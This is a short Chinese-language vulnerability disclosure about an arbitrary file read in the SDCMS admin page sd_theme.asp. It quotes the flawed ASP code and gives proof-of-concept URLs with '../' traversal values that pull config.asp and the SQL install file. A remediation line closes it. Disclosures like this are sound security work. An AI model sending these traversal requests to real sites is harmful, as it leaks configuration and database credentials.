SDCMS某处设计缺陷导致遍历任意文件内容 1、首先看看缺陷文件: 文件/sdcms/admin/sd_theme.asp ...... 第138行: case editdim filename:filename=sdcms.fget(filename,0)if not(sdcms.checkstr(filename,filename)) thensdcms.echo filename is wrongsdcms
SDCMS某处设计缺陷导致遍历任意文件内容
1、首先看看缺陷文件:
文件/sdcms/admin/sd_theme.asp
......
第138行:
case "edit" dim filename:filename=sdcms.fget("filename",0) if not(sdcms.checkstr(filename,"filename")) then sdcms.echo "filename is wrong" sdcms.die end if if not(sdcms.isfile("../theme/"&filename)) then sdcms.echo "filename is wrong" sdcms.die end if arr=split(filename,"/") folder=arr(0) for i=0 to ubound(arr)-1 if i=0 then str=arr(i) else str=str&"/"&arr(i) end if position=position&" > <a href=""?act=list&folder="&str&""">"&arr(i)&"</a>" next
......
没有判断edit的文件是不是允许范围内的文件,只是判断了filename的值是不是文件类型而已,所以导致可以遍历任意文件内容。
2、在安装时,这些目录下的文件时禁止访问的

正常情况下只能访问theme/default目录下的内容:

3、下面我们看看网站的配置文件,网站配置信息,数据库信息等全部泄露。
http://localhost/sdcms/admin/sd_theme.asp?act=edit&filename=../config.asp

4、再来看看sql文件等其他文件:
http://localhost/sdcms/admin/sd_theme.asp?act=edit&filename=../install/sql/mssql.sql

http://localhost/sdcms/admin/sd_theme.asp?act=edit&filename=../plug/attachment/index.asp

修复方案:
控制文件的访问权限,判断文件的目录。
控制文件的访问权限,判断文件的目录。